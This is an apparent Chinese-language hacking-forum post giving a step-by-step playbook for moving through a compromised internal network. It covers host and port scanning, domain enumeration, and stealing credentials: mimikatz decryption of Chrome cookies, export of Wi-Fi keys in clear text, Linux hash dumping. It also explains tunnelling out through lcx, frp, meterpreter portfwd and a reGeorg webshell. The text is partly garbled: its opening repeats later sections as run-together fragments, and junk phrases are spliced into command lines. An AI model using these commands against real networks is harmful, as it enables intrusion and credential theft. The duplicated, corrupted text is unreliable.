taibeihacker
Moderator
外網進內網通常就是通過web漏洞拿取shell
內網的很大一部分信息收集是圍繞網絡拓撲圖展開的。可以社工運維或者google找一下。
內網信息收集內網網端信息:對內網進行拓撲、分區內網大小內網核心業務信息oa系統、郵件服務器、監控系統.其他Windows、linux主機信息收集內網信息收集做的越好,打的越快
常用方法主動掃描。常用工具: nmap,netdiscover,nc,masscan,自寫腳本等常用端口和服務探測內網拓撲架構分析。如dmz,測試網等命令收集本機信息nmap的流量很大。因為nmap用了很多方式進行掃描,準確率高的同時流量較大,外網可以用
主動掃描留下的痕跡很多且較難清楚。被動掃描需要的時間較長。視情況掃描
一般都是先掃80端口等。因為外網網站可能做的很好,內網網站爛的爆,sql注入、xss等web漏洞一把一把的。
參數說明:-i:指定一個接口;-r∶指定掃描範圍注意: netdiscover時間越久越精確,可以發現某一台主機在一段時間內介入了那些網段,從而發現其他新的網段地址用nbtscan工具進行快速掃描存活PC端,同時獲得NETBIOS(windows往上輸入輸出服務,139端口)nbtscan -r 目標IP
探測目標操作系統使用NSE腳本:nmap --script smb-os-discovery.nse -p 445 目標IP地址其中: smb-os-discovery.nse腳本通過smb來探測操作系統版本、計算機名、工作組名、域名等等信息。 --script指定腳本
使用nmap -O探測操作系統版本nmap -O 目標IP掃描主機存在的CVE漏洞nmap --script=vuln 目標IP
dsquery 域命令(後面再寫域滲透)命令作用dsquery computer domainroot -limit 65535 net group 'domain computers'/domain列出域中內所有機器名dsquery user domainroot -limit 65535 net user /domain列出該域內所有用戶名dsquery subnet列出該域內網段劃分dsquery group net group /domain列出該域內分組dsquery ou列出該域內組織單位dsquery server net time /domain列出該域內控制器
主要收集內容系統管理員密碼(hash-明文)其他用戶的session,3389,ipc連接記錄以及各用戶回收站信息收集瀏覽器密碼和cookies的獲取windows無線密碼獲取數據庫密碼獲取host文件,dns緩存信息殺毒軟件,補丁,進程,網絡代理信息共享文件夾,web服務器配置文件等計劃任務,賬號密碼策略,鎖定策略
history命令用於顯示历史执行命令。能顯示當前用戶在本地計算機中執行的1000條命令。查看更多在/etc/profile文件中自定義HISTSIZE的變量值。使用history -c命令會清空所有命令的歷史記錄。每個用戶的history不同last命令用於查看系統所有近期登錄記錄。執行last命令時,會讀取/var/log/wtmp的文件。
用戶名終端位置登錄IP或者內核開始時間結束時間如果是系統漏洞提權,不屬於登錄,無記錄arp -vn聚類檢查是否有超同组业务外的arp地址mac地址對應ip固定,mac不對應ip則為arp欺騙/etc/hosts文件存儲域名/主機名到ip映射關係
內網轉發原理
通過服務器進行中轉,將內部的端口映射到公网IP上,或者將內網端口转发至外部服务器。內網轉發的三種形式端口轉髮用於目標機器對某一端口的訪問進行了限制。可以將本機的端口或者是本機可以訪問到的任意主機的端口轉發到任意一台你需要訪問的公網IP上
端口映射將一個內網無法訪問的端口映射到公網的某個端口,進而進行攻擊。比如:3389端口
代理轉發主要用於在目標機器上做跳板,進而可以對內網進行攻擊
四種基本的網絡情況攻擊者有獨立外網IP,拿到shell的服務器也有獨立的外網IP攻擊者有獨立外網IP,拿到shell的服務器在內網,只有幾個映射端口攻擊者在內網,服務器也在內網只有幾個映射端口攻擊者在內網,服務器有獨立外網IP四種情況有不同拿下服務器的方式
端口轉發是轉發一個网络端口從一个网络节点到另一个网络节点的行為。使一個外部用戶從外部經過一個被激活的NAT路由器到達一個在私有內部IP地址(局域網內部)上的一個端口。
簡單地說︰端口轉發就是將一個端口(這個端口可以本機的端口,也可以是本機可以訪問到的任意主機的端口)轉發到任意一台可以访问到的IP上,通常這個IP是公網ip端口轉發場景∶
外網主機A已經可以任意連接內網主機B上的端口,但是無法訪問內網主機C上的端口
此時可以將C主機的端口轉發到B主機的端口,那麼外網主機A訪問B主機的某某端口就相當於訪問了C主機的某某端口
一個正常的socket隧道必須具備兩端:服務器端和客戶端
基本命令:
马云惹不起马云轉發端口lcx.exe -slave 公網ip 端口內網ip 端口
马云惹不起马云監聽端口lcx.exe -listen 轉發端口本機任意沒有被佔用端口windows端口轉發實例
環境︰內網主機不能訪問外網,但是可以訪問同網段的內網機器,同時80端口只能本地訪問,但是8080端口對外開放。
步驟一:被控服務器的80端口轉發到本地的8080端口lcx -tran 8080 127.0.0.1 80
步驟二∶在內網被控服務器上連接內網能夠對外訪問的服務器lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步驟三∶在能夠對外訪問的內網機器上監聽端口lcx -listen 4444 12345
步驟四∶外網機器訪問192.168.56.1的12345端口也就是從服务器12345-服务器4444-外网8080-内网80在外網192.168.64.230訪問192.168.64.103:12345
v:version
-m:指定method action參數
method=1:監聽port1連接至主機2的port2(端口映射)
method=2:監聽Port1轉發至port2
method=3:連接主機1對應的端口和主機2對應的端口(端口轉發)
如:/portmap -m 2 -p1 6666 -h2 公網ip -p2 7777//監聽來自6666端口的請求並轉發至7777
利用處於内网或防火墙的機器,對外網提供http\https\tcp\udp服務對於http,https服務支持基於域名的虛擬主機,支持自定義域名,是多個域名共用一個80端口下載後frp文件內frps,frps.ini為服務端程序和配置文件,frpc,frpc.ini是客戶端程序及配置文件
服務端設置修改frp.ini
文件格式:
[common]
bind_port=7000 #frp服務器監聽㐰
dashboard_port=7500 #web後台監聽端口
dashboard_user=admin #web後台用戶名及密碼
dashboard_pwd=admin
token=123456 #客戶端和服務器的連接口令運行frps服務器端./frps -c frps.ini#-c意思是加載配置文件
訪問x.x.x.x:7500,使用自己設置的用戶名和密碼登錄
客戶端設置修改frpc.ini文件
[common]
server_addr=192.168.152.217
#服務端IP地址
server_port=7000
#服務器端口
token=123456
#服務器上設置的連接口令
[http]
#自定義規則,[xxx]表示規則名
type=tcp
#type:轉發的協議類型
local_ip=127.0.0.1
local_port=3389
#本地應用的端口號
remote_port=7001
#這條規則在服務端開放的端口號配置完成frp.ini後,cmd運行frpc(和服務端一樣-c指定配置文件)
在局域網外客戶端連接服務端的remote_port端口
該工具可跨平台,也就是windows exe程序連接linux
上述操作也就相当于listen 7000转到7001然後連接
一款內置於meterpreter shell中的工具,直接訪問攻擊系統無法訪問的機器。在可以訪問攻擊機和靶機的受損主機上運行此命令,可以通過本機轉發TCP連接,成為一個支點。選項
-L∶要監聽的本地主機(可選).
-l : 要監聽的本地端口,與此端口的連接將被轉發到遠程系統马云惹不起马云
-p∶要連接的遠程端口,TCP連接將轉發到的端口
-r∶要連接的遠程主機的IP地址
參數
Add :該參數用於创建轉發portfwd add -I 本地監聽端口號-p 目標端口號-r 目標機IP地址
Delete :這將從轉發端口列表中刪除先前的條目.portfwd delete -I 本地監聽端口號-p 目標端口號-r 目標機IP地址
List :列出當前轉發的所有端口portfwd list
Flush :這將刪除轉發列表中的所有端口
這個不太穩定,不如frp,lcx不怎麼用了。
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)
內網通過代理連接外部網絡為正向代理,外網通過代理連接內網為反向代理。
負載均衡服務器:將用戶的請求分發到空閒服務器上。
socks代理
當通過代理服務器訪問一個網站時,socks服務器起到了一個中間人的身份,分別與兩方通信然後將結果告知另一方。只要配置好socks代理後無需指定被访问目标。
socks和http代理走的是tcp流量,意思是udp的協議不能用這兩種代理代理和端口轉發的異同:代理端口轉發需要socks協議支持無需協議支持一對多,訪問網絡一對一,幫助他人訪問某端口socks代理可以理解為lcx端口轉發,他在服務端監聽一個服務端口,有連接請求時會從socks協議中解析出訪問目標url的目標端口
意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。
刪除dynamic_chain的註釋
底部添加代理服務器proxychains 軟件名以代理啟動任意軟件
pip install安裝假設服務器是php版本,將regeorg裡的php上傳到服務器,直接訪問顯示'georg says,'all seems fine'',為正常運行
終端下運行
ython reGeorgSocksProxy.py -u 靶機reGeorg腳本地址-p 本地監聽端口再起一個終端修改proxychains.conf配置文件,刪除dynamic_chain的註釋,在ProxyList最後加一行socks5 127.0.0.1 本地監聽端口,並把其他的註釋
內網的很大一部分信息收集是圍繞網絡拓撲圖展開的。可以社工運維或者google找一下。
内网扩散信息收集
概述內網信息收集內網網端信息:對內網進行拓撲、分區內網大小內網核心業務信息oa系統、郵件服務器、監控系統.其他Windows、linux主機信息收集內網信息收集做的越好,打的越快
常用方法主動掃描。常用工具: nmap,netdiscover,nc,masscan,自寫腳本等常用端口和服務探測內網拓撲架構分析。如dmz,測試網等命令收集本機信息nmap的流量很大。因為nmap用了很多方式進行掃描,準確率高的同時流量較大,外網可以用
主動掃描留下的痕跡很多且較難清楚。被動掃描需要的時間較長。視情況掃描
一般都是先掃80端口等。因為外網網站可能做的很好,內網網站爛的爆,sql注入、xss等web漏洞一把一把的。
主动扫描
ping命令掃描內網中的存活主機優點:方便,一般不會引起流量檢測設備的報警缺點:掃描速度慢,目標開了防火牆會導致結果不准nmap掃描存活主機(icmp掃描)nmap -sn -PE -n -v -oN 1.txt 目標ip參數: -sn 不進行端口掃描;-PE 進行icmp echo掃描;-n 不進行反向解析;-v 輸出調試信息;-oN輸出nmap 扫描存活主机(arp扫描)nmap -sn -PR -n -v 目標IP參數:-PR代表arp掃描,在內網中arp掃描速度最快且準確率高使用netdiscover掃描(arp掃描工具,既可以主動掃描也可以被動嗅探)netdiscover -i eth0 -r 目標IP

端口和服务扫描
探測目標開放端口nmap探測:nmap -Pn -n 目標IP(禁ping掃描)masscan掃描:masscan -p 端口號目標IP地址--rate=10000#用10kpps速度掃描端口

内网常用命令
命令說明net user本機用戶列表net view查詢同一域內的機器列表net localgroup administrators查看本機管理員net user /domain查詢域用戶net group /domain查詢域裡面的工作組net group 'domain admins”/domain查詢域管理員用戶組net localgroup administrators /domain登陸本機的域管理員net localgroup administrators workgroup \user /add域用戶添加到本機net group 'Domain controllers'查看域控/domain為域滲透參數。域管理有一台權限很高的機器,拿下之後能控制整個域的服務器,稱為域控。dsquery 域命令(後面再寫域滲透)命令作用dsquery computer domainroot -limit 65535 net group 'domain computers'/domain列出域中內所有機器名dsquery user domainroot -limit 65535 net user /domain列出該域內所有用戶名dsquery subnet列出該域內網段劃分dsquery group net group /domain列出該域內分組dsquery ou列出該域內組織單位dsquery server net time /domain列出該域內控制器
windows主机信息收集
這裡是在拿下最高權限之後的信息收集。主要收集內容系統管理員密碼(hash-明文)其他用戶的session,3389,ipc連接記錄以及各用戶回收站信息收集瀏覽器密碼和cookies的獲取windows無線密碼獲取數據庫密碼獲取host文件,dns緩存信息殺毒軟件,補丁,進程,網絡代理信息共享文件夾,web服務器配置文件等計劃任務,賬號密碼策略,鎖定策略
windows杂七杂八的信息收集
工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等cmdkey用於保存用戶名和密碼的憑證。 cmdkey /list查看憑據位置netpass.exe獲取密碼回收站信息獲取進入回收站文件夾cd C:$RECYCLE.BIN(該文件夾為隱藏文件夾,dir /ah查看內容,a指定屬性h表示隱藏)獲取無線密碼netsh wlan export profile interface=WLAN key=clear folder=C:\獲取瀏覽器的cookie和存儲密碼(chrome)%localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\LoginDatachrome的用戶信息保存在本地文件為sqlite數據庫格式使用mimikatz讀取內容:mimikatz.exe privilege:debug log 'dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect'msf下的windows信息收集
模塊使用post/windows/gather/forensics/enum_drives獲取目標主機的磁盤分區情況post/windows/gather/checkvm判斷目標主機是否為虛擬機post/windows/gather/enum_services查看開啟的服務post/windows/gather/enum_applications查看安裝的應用post/windows/gather/enum_shares查看共享post/windows/gather/dumplinks查看目標主機最近的操作post/windows/gather/enum_patches查看補丁信息scraper導出多個信息use or run模塊,設置參數後expoiltlinux信息收集
linux信息收集內容比起windows少很多history命令用於顯示历史执行命令。能顯示當前用戶在本地計算機中執行的1000條命令。查看更多在/etc/profile文件中自定義HISTSIZE的變量值。使用history -c命令會清空所有命令的歷史記錄。每個用戶的history不同last命令用於查看系統所有近期登錄記錄。執行last命令時,會讀取/var/log/wtmp的文件。

msf下的linux收集
模塊使用post/linux/gather/checkvm判斷目標主機是否為虛擬機post/linux/gather/enum_configs查看配置信息post/linux/gather/enum_network查看網絡post/linux/gather/enum_protections查看共享post/linux/gather/enum_system查看系統和用戶信息post/linux/gather/enum_users_histroy查看目標主機最近的操作post/linux/gather/hashdump獲取linux的hash但是我仍要強調,被動收集很重要,內網被動收集要安全很多,但是周期很長。主動一分,就危險一分收集内容总结
網卡信息、arp緩存、路由緩存、網站配置文件、數據庫、訪問日誌、瀏覽器歷史記錄、netstat、hosts文件、history、hash、明文密碼、網站配置賬密、wifi、cmdkey内网转发
內網轉發的目的理論上通過網絡連接的計算機都是可以互相訪問的,但是因為技術原因沒有實現。如局域網中某計算機僅開放web服務,則只能內網使用,外網無法直接訪問。要讓外網用戶直接訪問局域網服務,必須進行內網轉發等操作
內網轉發原理
通過服務器進行中轉,將內部的端口映射到公网IP上,或者將內網端口转发至外部服务器。內網轉發的三種形式端口轉髮用於目標機器對某一端口的訪問進行了限制。可以將本機的端口或者是本機可以訪問到的任意主機的端口轉發到任意一台你需要訪問的公網IP上
端口映射將一個內網無法訪問的端口映射到公網的某個端口,進而進行攻擊。比如:3389端口
代理轉發主要用於在目標機器上做跳板,進而可以對內網進行攻擊
四種基本的網絡情況攻擊者有獨立外網IP,拿到shell的服務器也有獨立的外網IP攻擊者有獨立外網IP,拿到shell的服務器在內網,只有幾個映射端口攻擊者在內網,服務器也在內網只有幾個映射端口攻擊者在內網,服務器有獨立外網IP四種情況有不同拿下服務器的方式
端口转发
原理端口轉發是轉發一個网络端口從一个网络节点到另一个网络节点的行為。使一個外部用戶從外部經過一個被激活的NAT路由器到達一個在私有內部IP地址(局域網內部)上的一個端口。
簡單地說︰端口轉發就是將一個端口(這個端口可以本機的端口,也可以是本機可以訪問到的任意主機的端口)轉發到任意一台可以访问到的IP上,通常這個IP是公網ip端口轉發場景∶
外網主機A已經可以任意連接內網主機B上的端口,但是無法訪問內網主機C上的端口
此時可以將C主機的端口轉發到B主機的端口,那麼外網主機A訪問B主機的某某端口就相當於訪問了C主機的某某端口

端口转发工具
lcx
lcx是一個居於socket套接字實現的端口轉發工具,有windows和linux兩個版本,windows叫lcx.exe,linux叫portmap一個正常的socket隧道必須具備兩端:服務器端和客戶端
windows下:
轉發端口:lcx.exe -slave 公網IP 端口內網IP 端口監聽端口:lcx.exe -listen 轉發端口,本機任意沒有沒有被佔用的端口映射端口:lcx.exe -tran 映射端口號ip 目標端口本地端口映射:如果目標服務器由於防火牆的限制,部分端口的數據無法通過防火牆,可以將目標服務器相應端口的數據傳到防火墙允许的其他端口lcx.exe -tran 映射端口號目標ip 目標端口內網端口轉發:如下規則時,主機不能直接訪問內網,這時就需要web服務器當跳板,也就是代理來使攻擊機訪問到內網主機
基本命令:
马云惹不起马云轉發端口lcx.exe -slave 公網ip 端口內網ip 端口
马云惹不起马云監聽端口lcx.exe -listen 轉發端口本機任意沒有被佔用端口windows端口轉發實例
環境︰內網主機不能訪問外網,但是可以訪問同網段的內網機器,同時80端口只能本地訪問,但是8080端口對外開放。
步驟一:被控服務器的80端口轉發到本地的8080端口lcx -tran 8080 127.0.0.1 80
步驟二∶在內網被控服務器上連接內網能夠對外訪問的服務器lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步驟三∶在能夠對外訪問的內網機器上監聽端口lcx -listen 4444 12345
步驟四∶外網機器訪問192.168.56.1的12345端口也就是從服务器12345-服务器4444-外网8080-内网80在外網192.168.64.230訪問192.168.64.103:12345
linux下:
用法:/portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]v:version
-m:指定method action參數
method=1:監聽port1連接至主機2的port2(端口映射)
method=2:監聽Port1轉發至port2
method=3:連接主機1對應的端口和主機2對應的端口(端口轉發)
如:/portmap -m 2 -p1 6666 -h2 公網ip -p2 7777//監聽來自6666端口的請求並轉發至7777
frp
FRP(fast reverse proxy)是用go語言開發的反向代理应用,可以進行内网穿透frp支持tcp\udp\http\httpsfrp用處利用處於内网或防火墙的機器,對外網提供http\https\tcp\udp服務對於http,https服務支持基於域名的虛擬主機,支持自定義域名,是多個域名共用一個80端口下載後frp文件內frps,frps.ini為服務端程序和配置文件,frpc,frpc.ini是客戶端程序及配置文件
服務端設置修改frp.ini
文件格式:
[common]
bind_port=7000 #frp服務器監聽㐰
dashboard_port=7500 #web後台監聽端口
dashboard_user=admin #web後台用戶名及密碼
dashboard_pwd=admin
token=123456 #客戶端和服務器的連接口令運行frps服務器端./frps -c frps.ini#-c意思是加載配置文件
訪問x.x.x.x:7500,使用自己設置的用戶名和密碼登錄
客戶端設置修改frpc.ini文件
[common]
server_addr=192.168.152.217
#服務端IP地址
server_port=7000
#服務器端口
token=123456
#服務器上設置的連接口令
[http]
#自定義規則,[xxx]表示規則名
type=tcp
#type:轉發的協議類型
local_ip=127.0.0.1
local_port=3389
#本地應用的端口號
remote_port=7001
#這條規則在服務端開放的端口號配置完成frp.ini後,cmd運行frpc(和服務端一樣-c指定配置文件)
在局域網外客戶端連接服務端的remote_port端口
該工具可跨平台,也就是windows exe程序連接linux
上述操作也就相当于listen 7000转到7001然後連接
metasploit portfwd
簡介一款內置於meterpreter shell中的工具,直接訪問攻擊系統無法訪問的機器。在可以訪問攻擊機和靶機的受損主機上運行此命令,可以通過本機轉發TCP連接,成為一個支點。選項
-L∶要監聽的本地主機(可選).
-l : 要監聽的本地端口,與此端口的連接將被轉發到遠程系統马云惹不起马云
-p∶要連接的遠程端口,TCP連接將轉發到的端口
-r∶要連接的遠程主機的IP地址
參數
Add :該參數用於创建轉發portfwd add -I 本地監聽端口號-p 目標端口號-r 目標機IP地址
Delete :這將從轉發端口列表中刪除先前的條目.portfwd delete -I 本地監聽端口號-p 目標端口號-r 目標機IP地址
List :列出當前轉發的所有端口portfwd list
Flush :這將刪除轉發列表中的所有端口
這個不太穩定,不如frp,lcx不怎麼用了。
边界代理
代理類別:HTTP代理、socks代理、telnet代理、ssl代理代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)
內網通過代理連接外部網絡為正向代理,外網通過代理連接內網為反向代理。
負載均衡服務器:將用戶的請求分發到空閒服務器上。
socks代理
當通過代理服務器訪問一個網站時,socks服務器起到了一個中間人的身份,分別與兩方通信然後將結果告知另一方。只要配置好socks代理後無需指定被访问目标。
socks和http代理走的是tcp流量,意思是udp的協議不能用這兩種代理代理和端口轉發的異同:代理端口轉發需要socks協議支持無需協議支持一對多,訪問網絡一對一,幫助他人訪問某端口socks代理可以理解為lcx端口轉發,他在服務端監聽一個服務端口,有連接請求時會從socks協議中解析出訪問目標url的目標端口
意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。
proxychains
proxychains是一個開源代理工具,可以在linux下全局代理。 proxychains通過一個用戶定義的代理列表強制連接指定的應用程序,支持http\socks4\socks5類型。使用在使用工具前要對工具進行配置,配置文件:/etc/proxychains.conf刪除dynamic_chain的註釋
底部添加代理服務器proxychains 軟件名以代理啟動任意軟件
regeorg工具
regeorg主要是把內網服務器端口通過http/https隧道轉發至本機,形成迴路用於目標服務器在内网或做了端口策略的情況下連接目標服務器內部開放端口利用webshell建立一個socks代理進行內網穿透,則服務器必須支持aspx\php\jsp中的一種regeorg分為服務端和客戶端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的時候文件裡面找對應腳本regeorg使用
和proxychains結合使用pip install安裝假設服務器是php版本,將regeorg裡的php上傳到服務器,直接訪問顯示'georg says,'all seems fine'',為正常運行

